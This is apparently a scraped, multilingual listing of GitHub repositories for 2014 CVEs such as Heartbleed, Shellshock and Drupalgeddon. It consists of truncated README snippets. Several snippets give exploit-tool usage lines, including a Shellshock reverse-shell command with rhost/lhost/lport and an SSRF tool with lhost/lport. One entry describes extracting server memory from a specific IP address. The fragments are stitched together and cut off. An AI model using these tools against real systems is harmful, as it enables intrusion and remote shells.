cve-2014-0160-Yunfeng-Jiang

cve-2014-0160-Yunfeng-Jiang 1. リーディングコースのレポート ReadingCourseReport.pdf 2. 検出ツール 1. heartbleed.py https://gist.github.com/eelsivart/10174134 使用方法: python heartbleed.py hostname 2. ssltest.py https://github.com/Lekensteyn/pacemaker/blob/master/ssltest.py 使用方法: python ssltest.py hostname 3...

Openssl_G2.5_CVE-2014-8275

OpenSSL 1.0.1g 7 Abr 2014 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson Todos los derechos reservados. DESCRIPCIÓN El Proyecto OpenSSL es un esfuerzo colaborativo para desarrollar un conjunto de herramientas robusto, de calidad comercial, completo y ...

puppet-shellshock

このモジュールは、bashバイナリのShellshockエクスプロイト（CVE-2014-6271またはCVE-2014-7169）に対する脆弱性を判定し、可能な場合はそのパッチを適用します。 対応プラットフォーム: Debian 5, 6, 7 Ubuntus 12.04 LTS, 14.04 LTS, 14.10 RHEL/CentOS 5, 6 使い方 root@kitploit: class 'shellshock': Facter提供 root@kitploit: facter -p shellshock notvulnerable 作者 Renan Vicente...

CVE-2014-6271

このリポジトリには README がありません。...

cve-2014-6271-mengjia-kong

このリポジトリには README がありません。...

CVE-2014-3153

此存储库没有 README。...

CVE-2014-6271

CVE-2014-6271 のエクスプロイト 使い方 : CVE-2014-6271.py ターゲットURIのフルパス コマンド...

perf-exploiter

perf-exploiter CVE-2014-2630 在我们最近的一次渗透测试中，我们利用了一个影响名为“xglance-bin”的 suid 二进制文件的漏洞。作为 HP Performance Monitoring 解决方案 的一部分，它使我们能够在一些 Linux RHEL 7.x/8.x 系统上将本地非特权会话提升至 root 权限。老实说，这并不是我们第一次利用这个特定漏洞，自 2014 年以来，我们已在许多安装了 RHEL 的 HP 服务器上频繁滥用该漏洞。 该漏洞确实有一个已注册的 CVE 编号（CVE-2014-2630），最初由 Portcullis 的 Tim...

Drupalgeddon-Python3

Drupalgeddon Python3 版本 针对 CVE-2014-3704 的重新编写的 POC，是我在 HackTheBox 上 CPTS 训练的一部分。 https://nvd.nist.gov/vuln/detail/CVE-2014-3704 CVE-2014-3704 被称为 Drupalgeddon，影响版本 7.0 到 7.31，并在 7.32 版本中修复。这是一个预认证的 SQL 注入漏洞，可用于上传恶意表单或创建新的管理员用户。 这里只做了微小的改动，使脚本兼容 Python3，并修改了一些 print 语句的格式。 Drupal 7.x SQL 注入...

SSRFX

CVE-2014-4210+Redis不正アクセス インストール root@kitploit: pip install -r requirements.txt 使用方法 root@kitploit: usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional argument...

cve-2014-4014-privesc

https://duasynt.com/blog/cve-2014-4014-local-privilege-escalation...

openssl_g2.5_CVE-2014-3566

OpenSSL 1.0.1g 2014年4月7日 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. 説明 OpenSSL Project は、Secure Sockets Layer SSL v2/v3 および Transport Layer Security TLS v1...

CVE-2014-0160

CVE-2014-0160 リンク https://github.com/DisK0nn3cT/MaltegoHeartbleed https://github.com/a0726h77/heartbleed-test https://github.com/musalbas/heartbleed-masstest https://github.com/decal/ssltest-stls https://github.com/isgroup-srl/openmagic https://github.com/offensive-python/HeartLeak Nmap nmap -sV...

Project-Field-Analysis-and-Memory-Leak-Demonstration

目的 このプロジェクトの目的は、リモートホストのHeartbleed脆弱性（CVE-2014-0160）を評価し、その存在を確認し、TLSプロトコルを介してサーバーメモリから潜在的に機密性の高い情報を抽出するために悪用することでした。 実行 1. オープンサービスの特定（Nmap） root@kitploit: nmap -sC -sV 52.215.184.158 結果: root@kitploit: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 111/tcp open rpcbind 2-4 443/tcp open...

cve-2014-4699-ptrace

解説 https://duasynt.com/blog/cve-2014-4699-linux-kernel-ptrace-sysret-analysis...

BadBash

BadBash CVE-2014-6271 ShellShock RCE PoC ツール ======= BadBash は CVE-2014-6271 RCE エクスプロイトツールです。基本バージョンは HTTP CGI サイトのみをチェックし、ポート 1234 での netcat リバースシェルのみを提供します。 開発者 : Andy Yang バージョン : 0.1.0 ライセンス : GPLv3 元の GitHub プロジェクト : https://github.com/RainMak3r/Rainstorm...

CVE-2014-3570

Este repositorio no tiene un README...

CVE-2014-0160-HeartBleed

这是来自exploitdb的CVE-2014-0160漏洞利用代码。 在我在hackthebox上解决Valentine时，它对于python3不起作用，因此我做了必要的修改。我不是此代码的原始作者。...

CVE-2014-3153-exploit

CVE-2014-3153-exploit カーネルエクスプロイトのための私のエクスプロイト...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock リモートコマンドインジェクションツール - クイックリバースシェルとファイル閲覧用 root@kitploit: Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files...